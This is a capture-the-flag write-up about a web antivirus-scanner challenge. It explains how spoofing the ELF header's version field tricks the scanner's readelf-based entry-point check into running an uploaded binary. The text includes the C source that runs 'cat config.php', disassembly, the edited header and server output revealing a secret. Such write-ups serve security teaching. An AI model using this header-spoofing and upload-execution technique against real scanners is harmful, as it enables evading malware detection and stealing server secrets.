This problem presents a web-based AV scanner. If you upload the zombie virus, the server runs it; otherwise it tells you that the file you provided does not contain the zombie virus. Our goal is to get the contents of config.php.
When you submit a non-infected binary, you get output like:
analysing file 79826432fa989a93fd7acfaca92f5880
8048330: 31 ed xor %ebp,%ebp
8048332: 5e pop %esi
8048333: 89 e1 mov %esp,%ecx
8048335: 83 e4 f0 and $0xfffffff0,%esp
8048338: 50 push %eax
8048339: 54 push %esp
804833a: 52 push %edx
804833b: 68 10 84 04 08 push $0x8048410
8048340: 68 20 84 04 08 push $0x8048420
8048345: 51 push %ecx
8048346: 56 push %esi
8048347: 68 e4 83 04 08 push $0x80483e4
804834c: e8 cb ff ff ff call 804831c <__libc_start_main@plt>
8048351: f4 hlt
8048352: 90 nop
8048353: 90 nop
8048354: 90 nop
8048355: 90
Entry Opcodes are: 31 ed 5e 89 e1 83 e4 f0 50 54 52 68
Signature is: d87ae7dd8b166d8e2c02676d69561c96
no zombie virus found
In scan.php
, the signature of the zombie virus is given. A file contains the zombie virus if the first 12 opcodes following its entry point are:
/*
* hint: zombie virus signature is
* 8048340: b0 01 mov $0x1,%al
* 8048342: 90 nop
* 8048343: 90 nop
* 8048344: 90 nop
* 8048345: 90 nop
* 8048346: 90 nop
* 8048347: 90 nop
* 8048348: 90 nop
* 8048349: 90 nop
* 804834a: cd 80 int $0x80
*/
This code looks like it immediately calls syscall 1 (exit), so we need to find another way than just including these at the beginning of our code. (Actually, it turns out that this is not the case – the first op sets al rather than eal, so the effective syscall number retains the high bits of eal, but we didn’t notice or test this.)
Analyzing the code, it seems the entry point address is determined by running the binary through readelf -h
and looking for the first string that matches /0x[a-fA-F0-9]{5,8}/
. Typically, that output looks like:
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x8048330
Start of program headers: 52 (bytes into file)
Start of section headers: 4392 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 8
Size of section headers: 40 (bytes)
Number of section headers: 30
Section header string table index: 27
In this case, the first match is indeed the entry point, but there’s another field printed in hex earlier – the binary version. It turns out that we control this field, and the ELF parser doesn’t care about its value. Let’s include the zombie opcodes in our binary, then set the version number to the address of those opcodes. Here’s our zombo_virus.c
:
int main() {
system("cat config.php");
__asm__("mov $0x1,%al");
__asm__("nop");
__asm__("nop");
__asm__("nop");
__asm__("nop");
__asm__("nop");
__asm__("nop");
__asm__("nop");
__asm__("nop");
__asm__("int $0x80");
}
Compiling this and running it through objdump -d
reveals the address of the zombie signature:
...
080483e4 <main>:
80483e4: 55 push %ebp
80483e5: 89 e5 mov %esp,%ebp
80483e7: 83 e4 f0 and $0xfffffff0,%esp
80483ea: 83 ec 10 sub $0x10,%esp
80483ed: c7 04 24 d0 84 04 08 movl $0x80484d0,(%esp)
80483f4: e8 13 ff ff ff call 804830c <system@plt>
80483f9: b0 01 mov $0x1,%al
80483fb: 90 nop
80483fc: 90 nop
80483fd: 90 nop
80483fe: 90 nop
80483ff: 90 nop
8048400: 90 nop
8048401: 90 nop
8048402: 90 nop
8048403: cd 80 int $0x80
...
So, it lives at 0x80483f9
. Using your favorite ELF editor (we used hte
), edit the resulting binary to have that as a version:
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Intel 80386
Version: 0x80483f9
Entry point address: 0x8048330
Start of program headers: 52 (bytes into file)
Start of section headers: 4392 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 8
Size of section headers: 40 (bytes)
Number of section headers: 30
Section header string table index: 27
Now submit it!
analysing file c39d143ac2432849d61fd144a0d13abc
80483f9: b0 01 mov $0x1,%al
80483fb: 90 nop
80483fc: 90 nop
80483fd: 90 nop
80483fe: 90 nop
80483ff: 90 nop
8048400: 90 nop
8048401: 90 nop
8048402: 90 nop
8048403: cd 80 int $0x80
8048405: c9 leave
8048406: c3 ret
8048407: 90 nop
8048408: 90 nop
8048409: 90 nop
804840a: 90 nop
804840b: 90 nop
804840c: 90 nop
804840d: 90 nop
804840e: 90 nop
804840f: 90 nop
08048410 <__lib
Entry Opcodes are: b0 01 90 90 90 90 90 90 90 90 cd 80
Signature is: cd53b957ec552afb39cba6daed7a9abc
found zombie virus, trying to execute it
<?php
$readelfpath='/usr/bin/readelf';
$objdumppath='/usr/bin/objdump';
$uploadpath='upload/';
$scriptpath='/var/www/';
$secret='55c4080daefb5f794c3527101882b50b';
?>
done we are safe
There’s the flag: 55c4080daefb5f794c3527101882b50b
.